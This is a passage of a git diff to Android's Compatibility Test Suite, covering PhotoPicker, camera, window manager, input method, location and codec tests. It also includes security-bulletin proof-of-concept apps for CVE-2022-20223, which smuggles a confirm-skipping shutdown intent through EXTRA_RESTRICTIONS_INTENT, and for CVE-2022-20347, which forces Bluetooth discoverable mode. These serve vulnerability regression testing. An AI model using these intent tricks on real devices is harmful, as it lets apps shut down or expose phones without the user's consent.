a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java index c3c7083df18..6df2b9db7fe 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java @@ -26,9 +26,8 @@ import android.os.Bundle; public class PocBroadcastReceiver extends BroadcastReceiver { - ComponentName getPrivilegeCallDefaultComponent(Context context) { - Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED); - intent.setData(Uri.parse(context.getString(R.string.uriData))); + static ComponentName getShutdownDefaultComponent(Context context) { + Intent intent = new Intent(Intent.ACTION_REQUEST_SHUTDOWN); return intent.resolveActivity(context.getPackageManager()); } @@ -36,14 +35,14 @@ public class PocBroadcastReceiver extends BroadcastReceiver { public void onReceive(Context context, Intent intent) { try { Bundle result = new Bundle(); - Intent dialIntent = new Intent(); - dialIntent.setComponent(getPrivilegeCallDefaultComponent(context)); - dialIntent.setPackage(context.getPackageName()); - dialIntent.setData(Uri.parse(context.getString(R.string.uriData))); - dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED); - result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent); + Intent shutDownIntent = new Intent(); + shutDownIntent.setComponent(getShutdownDefaultComponent(context)); + shutDownIntent.setPackage(context.getPackageName()); + shutDownIntent.setAction(Intent.ACTION_REQUEST_SHUTDOWN); + shutDownIntent.putExtra(Intent.EXTRA_KEY_CONFIRM, true); + shutDownIntent.putExtra(Intent.EXTRA_USER_REQUESTED_SHUTDOWN, true); + result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, shutDownIntent); setResultExtras(result); - return; } catch (Exception e) { SharedPreferences sh = context.getSharedPreferences( context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE); diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java index 52f43c5d979..ec61aa1fdf6 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java @@ -63,25 +63,20 @@ public class DeviceTest { return mContext.getResources().getInteger(resId); } + void switchBluetoothMode(String action) { + Intent intent = new Intent(mContext, PocActivity.class); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(mContext.getString(R.string.btAction), action); + mContext.startActivity(intent); + } + @Test public void testBluetoothDiscoverable() { OnSharedPreferenceChangeListener sharedPrefListener; SharedPreferences sharedPrefs; boolean btState = false; try { - BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter(); - - // Save the state of bluetooth adapter to reset after the test - btState = btAdapter.isEnabled(); - - // If bluetooth is disabled, enable it and wait for start activity to complete mContext = InstrumentationRegistry.getInstrumentation().getContext(); - Intent intent = new Intent(mContext, PocActivity.class); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - intent.putExtra(mContext.getString(R.string.btAction), - BluetoothAdapter.ACTION_REQUEST_ENABLE); - mContext.startActivity(intent); - Resources resources = mContext.getResources(); sharedPrefs = mContext.getSharedPreferences( resources.getString(R.string.sharedPreferences), Context.MODE_APPEND); @@ -96,6 +91,25 @@ public class DeviceTest { } }; sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener); + BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter(); + + // Save the state of bluetooth adapter to reset after the test + btState = btAdapter.isEnabled(); + + // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode + if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) { + switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE); + assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs), + TimeUnit.MILLISECONDS)); + int result = sharedPrefs.getInt(resources.getString(R.string.resultKey), + resources.getInteger(R.integer.assumptionFailure)); + String message = sharedPrefs.getString(resources.getString(R.string.messageKey), + resources.getString(R.string.defaultSemaphoreMsg)); + assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure)); + } + + // Enable bluetooth if in disabled state + switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE); assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs), TimeUnit.MILLISECONDS)); int result = sharedPrefs.getInt(resources.getString(R.string.resultKey), @@ -107,6 +121,9 @@ public class DeviceTest { // Checking if bluetooth is enabled. The test requires bluetooth to be enabled assumeTrue(btAdapter.isEnabled()); + // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE + assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE); + // Launch bluetooth settings which is supposed to set scan mode to // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present UiAutomation uiautomation = @@ -114,7 +131,7 @@ public class DeviceTest { uiautomation .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE); String settingsPkg = getSettingsPkgName(); - intent = new Intent(); + Intent intent = new Intent(); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setData(Uri.parse(mContext.getString(R.string.uri))); intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className)); @@ -135,11 +152,7 @@ public class DeviceTest { try { // Disable bluetooth if it was OFF before the test if (!btState) { - Intent intent = new Intent(mContext, PocActivity.class); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - intent.putExtra(mContext.getString(R.string.btAction), - BluetoothAdapter.ACTION_REQUEST_DISABLE); - mContext.startActivity(intent); + switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE); assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs), TimeUnit.MILLISECONDS)); } diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java index c7feda651c3..f07f9d34e64 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java @@ -61,12 +61,13 @@ public class AppOpsTests extends DeviceTestCase implements IBuildReceiver { protected void setUp() throws Exception { super.setUp(); - mTransformedFromOp.clear(); - // The hotword op is allowed to all UIDs on TV and Auto devices. - if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE) - || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) { - mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD); - } + // Temporarily commented out until the Trusted Hotword requirement is enforced again. + // mTransformedFromOp.clear(); + // // The hotword op is allowed to all UIDs on TV and Auto devices. + // if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE) + // || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) { + // mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD); + // } assertThat(mCtsBuild).isNotNull(); ConfigUtils.removeConfig(getDevice()); diff --git a/tests/PhotoPicker/TEST_MAPPING b/tests/PhotoPicker/TEST_MAPPING index e0e0c9beff7..2a55a282417 100644 --- a/tests/PhotoPicker/TEST_MAPPING +++ b/tests/PhotoPicker/TEST_MAPPING @@ -11,6 +11,16 @@ ], "presubmit": [ { + "name": "CtsPhotoPickerTest", + "options": [ + { + "exclude-annotation": "androidx.test.filters.LargeTest" + } + ] + } + ], + "postsubmit": [ + { "name": "CtsPhotoPickerTest" } ] diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java index 913b004d0a1..48c1ea16b54 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java @@ -33,6 +33,7 @@ import android.content.Intent; import android.net.Uri; import android.provider.MediaStore; +import androidx.test.filters.LargeTest; import androidx.test.filters.SdkSuppress; import androidx.test.uiautomator.UiObject; import androidx.test.uiautomator.UiSelector; @@ -55,6 +56,7 @@ import java.util.List; * Photo Picker Device only tests for cross profile interaction flows. */ @RunWith(BedsteadJUnit4.class) +@LargeTest public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @ClassRule @Rule public static final DeviceState sDeviceState = new DeviceState(); diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java index b6eb8f31642..db60d7ddd8c 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java @@ -21,12 +21,18 @@ import static android.photopicker.cts.PickerProviderMediaGenerator.setCloudProvi import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; +import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton; +import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_BUFFERING; +import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_PERMANENT_FAILURE; +import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE; import static android.provider.CloudMediaProvider.CloudMediaSurfaceStateChangedCallback.PLAYBACK_STATE_READY; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.anyInt; @@ -219,6 +225,41 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest { // test the remote preview APIs } + @Test + public void testVideoPreviewProgressIndicator() throws Exception { + initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1))); + launchPreviewMultiple(/* count */ 1); + + // Remote Preview displays circular progress indicator when playback state is + // PLAYBACK_STATE_BUFFERING. + verifyProgressIndicatorShowsWhenBuffering(/* surfaceId */ 0); + } + + @Test + public void testVideoPreviewPermanentError() throws Exception { + initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1))); + launchPreviewMultiple(/* count */ 1); + + // Remote Preview displays Snackbar to notify the user of an error when playback state is + // PLAYBACK_STATE_ERROR_PERMANENT_FAILURE. + verifySnackbarShowsWhenPermanentError(/* surfaceId */ 0); + } + + @Test + public void testVideoPreviewRetriableError() throws Exception { + initCloudProviderWithVideo(Arrays.asList(Pair.create(null, CLOUD_ID1))); + final int surfaceId = 0; + launchPreviewMultiple(/* count */ 1); + + // Remote Preview displays an AlertDialog to notify the user of an error when playback state + // is PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE. + verifyAlertDialogShowsWhenRetriableError(surfaceId); + + // Remote Preview calls onMediaPlay when user clicks the retry button in the retriable error + // AlertDialog. + verifyAlertDialogRetry(surfaceId); + } + /** * Verify surface controller interactions on swiping from one video to another. * Note: This test assumes that the first video is in playing state. @@ -269,6 +310,54 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest { mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId)); } + private void verifyProgressIndicatorShowsWhenBuffering(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_BUFFERING); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + assertWithMessage("Expected circular progress indicator to be visible when state is " + + "buffering").that(findPreviewProgressIndicator().waitForExists(SHORT_TIMEOUT)) + .isTrue(); + } + + private void verifySnackbarShowsWhenPermanentError(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_PERMANENT_FAILURE); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + assertWithMessage("Expected snackbar to be visible when state is permanent error") + .that(findPreviewErrorSnackbar().waitForExists(SHORT_TIMEOUT)).isTrue(); + } + + private void verifyAlertDialogShowsWhenRetriableError(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + + assertWithMessage("Expected alert dialog with title to be visible when state is retriable " + + "error").that(findPreviewErrorAlertDialogTitle().waitForExists(SHORT_TIMEOUT)) + .isTrue(); + assertWithMessage("Expected alert dialog with text body to be visible when state is " + + "retriable error").that(findPreviewErrorAlertDialogBody().exists()).isTrue(); + assertWithMessage("Expected alert dialog with retry button to be visible when state is " + + "retriable error").that(findPreviewErrorAlertDialogRetryButton().exists()) + .isTrue(); + assertWithMessage("Expected alert dialog with cancel button to be visible when state is " + + "retriable error").that(findPreviewErrorAlertDialogCancelButton().exists()) + .isTrue(); + } + + private void verifyAlertDialogRetry(int surfaceId) throws Exception { + CloudProviderPrimary.setPlaybackState(surfaceId, PLAYBACK_STATE_ERROR_RETRIABLE_FAILURE); + // Wait for photo picker to receive the event and invoke media play via binder calls. + MediaStore.waitForIdle(mContext.getContentResolver()); + + assertWithMessage("Expected alert dialog with retry button to be visible when state is " + + "retriable error") + .that(findPreviewErrorAlertDialogRetryButton().waitForExists(SHORT_TIMEOUT)) + .isTrue(); + clickAndWait(mDevice, findPreviewErrorAlertDialogRetryButton()); + mAssertInOrder.verify(mSurfaceControllerListener).onMediaPlay(eq(surfaceId)); + } + private void initCloudProviderWithImage(List<Pair<String, String>> mediaPairs) throws Exception { for (Pair<String, String> pair : mediaPairs) { @@ -348,4 +437,29 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest { // Wait for CloudMediaProvider binder calls to finish. MediaStore.waitForIdle(mContext.getContentResolver()); } + + private static UiObject findPreviewProgressIndicator() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_progress_indicator")); + } + + private static UiObject findPreviewErrorAlertDialogTitle() { + return new UiObject(new UiSelector().text("Trouble playing video")); + } + + private static UiObject findPreviewErrorAlertDialogBody() { + return new UiObject(new UiSelector().text("Check your internet connection and try again")); + } + + private static UiObject findPreviewErrorAlertDialogRetryButton() { + return new UiObject(new UiSelector().textMatches("R(etry|ETRY)")); + } + + private static UiObject findPreviewErrorAlertDialogCancelButton() { + return new UiObject(new UiSelector().textMatches("C(ancel|ANCEL)")); + } + + private static UiObject findPreviewErrorSnackbar() { + return new UiObject(new UiSelector().text("Can't play video")); + } } diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java index f6b7830cf69..21bdc839bf1 100644 --- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java @@ -27,7 +27,6 @@ import android.content.pm.PackageManager; import android.hardware.camera2.CameraAccessException; import android.hardware.camera2.CameraCharacteristics; import android.hardware.camera2.CameraDevice; -import android.hardware.camera2.CameraDevice.StateCallback; import android.hardware.camera2.CameraManager; import android.hardware.camera2.cts.Camera2ParameterizedTestCase; import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor; @@ -163,6 +162,15 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase { ids.length == 0 || mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY)); + if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { + // Camera placement on automotive device is different than usual front/back + // on mobile phones and use automotive.lens.facing instead. lens.facing is only used for + // external camera.testCameraManagerAutomotiveCameras ensures that lens.facing is only + // used for EXTERNAL camera. Hence, skipping this test for automotive implementations + Log.i(TAG, "Skip rest of the test on automotive device implementations"); + return; + } + /** * Test: that if the device has front or rear facing cameras, then there * must be matched system features. @@ -989,15 +997,23 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase { * android.automotive.lens.facing values */ Map<Pair<Integer, Integer>, ArrayList<String>> cameraGroup = new HashMap<>(); + boolean externalCameraConnected = false; for (String cameraId : cameraIds) { CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId); assertNotNull( String.format("Can't get camera characteristics from: ID %s", cameraId), props); Integer lensFacing = props.get(CameraCharacteristics.LENS_FACING); - if (lensFacing != null && lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL) { - // Automotive device implementations may have external cameras but they are exempted - // from this test case. + + if (lensFacing != null) { + // Automotive device implementations can use android.lens.facing + // only for external cameras + assertTrue("android.lens.facing should only be used for external cameras", + lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL); + // Test that there is matching feature flag + assertTrue("System doesn't have external camera feature", + mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)); + externalCameraConnected = true; continue; } @@ -1028,6 +1044,13 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase { } } + // Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised + if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) { + assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL", + externalCameraConnected); + } + + for (Map.Entry<Pair<Integer, Integer>, ArrayList<String>> entry : cameraGroup.entrySet()) { ArrayList<String> cameraIdsToVerify = entry.getValue(); if (cameraIdsToVerify.size() > 1) { diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java index 94c1f1a044a..bd26452edfe 100644 --- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java +++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java @@ -760,7 +760,7 @@ public class BackgroundActivityLaunchTest extends ActivityManagerTestBase { if (objectText == null) { continue; } - if (objectText.equalsIgnoreCase("CREATE")) { + if (objectText.equalsIgnoreCase("CREATE") || objectText.equalsIgnoreCase("ALLOW")) { object.click(); buttonClicked = true; break; diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java index ad931ec66b7..1c21598a740 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java @@ -207,10 +207,8 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase { */ @Test public void testLaunchExternalDisplayActivityWhilePrimaryOff() { - if (isOperatorTierDevice()) { - // This test is not applicable for the device who uses launch_after_boot configuration - return; - } + // Leanback devices may launch a live broadcast app during screen off-on cycles. + final boolean mayLaunchActivityOnScreenOff = isLeanBack(); // Launch something on the primary display so we know there is a resumed activity there launchActivity(RESIZEABLE_ACTIVITY); @@ -223,10 +221,12 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase { displayStateSession.turnScreenOff(); // Make sure there is no resumed activity when the primary display is off - waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED, - "Activity launched on primary display must be stopped after turning off"); - assertEquals("Unexpected resumed activity", - 0, mWmState.getResumedActivitiesCount()); + if (!mayLaunchActivityOnScreenOff) { + waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED, + "Activity launched on primary display must be stopped after turning off"); + assertEquals("Unexpected resumed activity", + 0, mWmState.getResumedActivitiesCount()); + } final DisplayContent newDisplay = externalDisplaySession .setCanShowWithInsecureKeyguard(true).createVirtualDisplay(); @@ -236,8 +236,10 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase { // Check that the test activity is resumed on the external display waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId, "Activity launched on external display must be resumed"); - mWmState.assertFocusedAppOnDisplay("App on default display must still be focused", - RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY); + if (!mayLaunchActivityOnScreenOff) { + mWmState.assertFocusedAppOnDisplay("App on default display must still be focused", + RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY); + } } /** diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java index 3ffda885a4f..03988ea28af 100644 --- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java +++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java @@ -1106,10 +1106,6 @@ public abstract class ActivityManagerTestBase { return sIsTablet; } - protected boolean isOperatorTierDevice() { - return hasDeviceFeature("com.google.android.tv.operator_tier"); - } - protected void waitAndAssertActivityState(ComponentName activityName, String state, String message) { mWmState.waitForActivityState(activityName, state); diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java index 8cc0b8efb54..c098ad0ecf5 100644 --- a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java +++ b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java @@ -54,6 +54,7 @@ import androidx.test.filters.FlakyTest; import androidx.test.platform.app.InstrumentationRegistry; import com.android.compatibility.common.util.AdoptShellPermissionsRule; +import com.android.compatibility.common.util.ApiTest; import com.android.cts.mockime.ImeEventStream; import com.android.cts.mockime.ImeSettings; import com.android.cts.mockime.MockImeSession; @@ -147,6 +148,10 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { } @Test + @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting", + "android.inputmethodservice.InputMethodService#onPrepareStylusHandwriting", + "android.inputmethodservice.InputMethodService#onStartStylusHandwriting", + "android.inputmethodservice.InputMethodService#onFinishStylusHandwriting"}) public void testHandwritingStartAndFinish() throws Exception { final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class); try (MockImeSession imeSession = MockImeSession.create( @@ -157,13 +162,13 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { final String marker = getTestMarker(); final EditText editText = launchTestActivity(marker); + expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); // Touch down with a stylus final int x = 10; final int y = 10; TestUtils.injectStylusDownEvent(editText, x, y); - expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); notExpectEvent( stream, editorMatcher("onStartInputView", marker), @@ -209,6 +214,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { * @throws Exception */ @Test + @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting", + "android.inputmethodservice.InputMethodService#onStylusMotionEvent", + "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"}) public void testHandwritingStylusEvents_onStylusHandwritingMotionEvent() throws Exception { testHandwritingStylusEvents(false /* verifyOnInkView */); } @@ -219,6 +227,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { * @throws Exception */ @Test + @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting", + "android.inputmethodservice.InputMethodService#onStylusMotionEvent", + "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"}) public void testHandwritingStylusEvents_dispatchToInkView() throws Exception { testHandwritingStylusEvents(false /* verifyOnInkView */); } @@ -234,6 +245,7 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { final String marker = getTestMarker(); final EditText editText = launchTestActivity(marker); + expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); final List<MotionEvent> injectedEvents = new ArrayList<>(); // Touch down with a stylus @@ -241,7 +253,6 @@ public class StylusHandwritingTest extends EndToEndImeTestBase { final int startY = 10; injectedEvents.add(TestUtils.injectStylusDownEvent(editText, startX, startY)); - expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT); notExpectEvent( stream, editorMatcher("onStartInputView", marker), diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java index a70065cce07..c40605282da 100644 --- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java +++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java @@ -34,6 +34,8 @@ import android.os.UserHandle; import androidx.test.InstrumentationRegistry; +import com.android.compatibility.common.util.ApiTest; + import org.junit.Assert; import org.junit.Before; import org.junit.Test; @@ -54,6 +56,11 @@ public class LocationDisabledAppOpsTest { } @Test + @ApiTest(apis = { + "android.location.LocationManager#setLocationEnabledForUser", + "android.app.AppOpsManager#noteOpNoThrow", + "android.app.AppOpsManager#checkOpNoThrow", + }) public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() { PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist(); @@ -85,7 +92,8 @@ public class LocationDisabledAppOpsTest { mode[0] = mAom.noteOpNoThrow( OPSTR_FINE_LOCATION, ai.uid, ai.packageName); }); - if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) { + if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName) + && !mLm.isProviderPackage(null, pi.packageName, null)) { bypassedNoteOps.add(pi.packageName); } @@ -95,7 +103,8 @@ public class LocationDisabledAppOpsTest { mode[0] = mAom .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName); }); - if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) { + if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName) + && !mLm.isProviderPackage(null, pi.packageName, null)) { bypassedCheckOps.add(pi.packageName); } diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java index f03fa90bb0d..efa8441b2ab 100644 --- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java +++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java @@ -135,9 +135,9 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase { {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4", "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL}, {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_160x1024_1500kbps_30fps_avc.mp4", - "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL}, + "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_OPTIONAL}, {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x120_1500kbps_30fps_avc.mp4", - "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_ALL}, + "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_OPTIONAL}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4", "bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_ALL}, {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4", diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java index c3a1b0901a3..e38094cb25b 100644 --- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java +++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java @@ -171,7 +171,8 @@ public class CodecInfoTest { // For devices launching with Android T, if a codec supports an HDR profile and device // supports HDR display, it must advertise P010 support int[] HdrProfileArray = mProfileHdrMap.get(mMediaType); - if (VNDK_IS_AT_LEAST_T && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) { + if (FIRST_SDK_IS_AT_LEAST_T && VNDK_IS_AT_LEAST_T + && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) { for (CodecProfileLevel pl : caps.profileLevels) { if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) { assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," + diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java index 6065c5c8be7..9d1d839c47d 100644 --- a/tests/media/src/android/mediav2/cts/CodecTestBase.java +++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java @@ -30,7 +30,9 @@ import 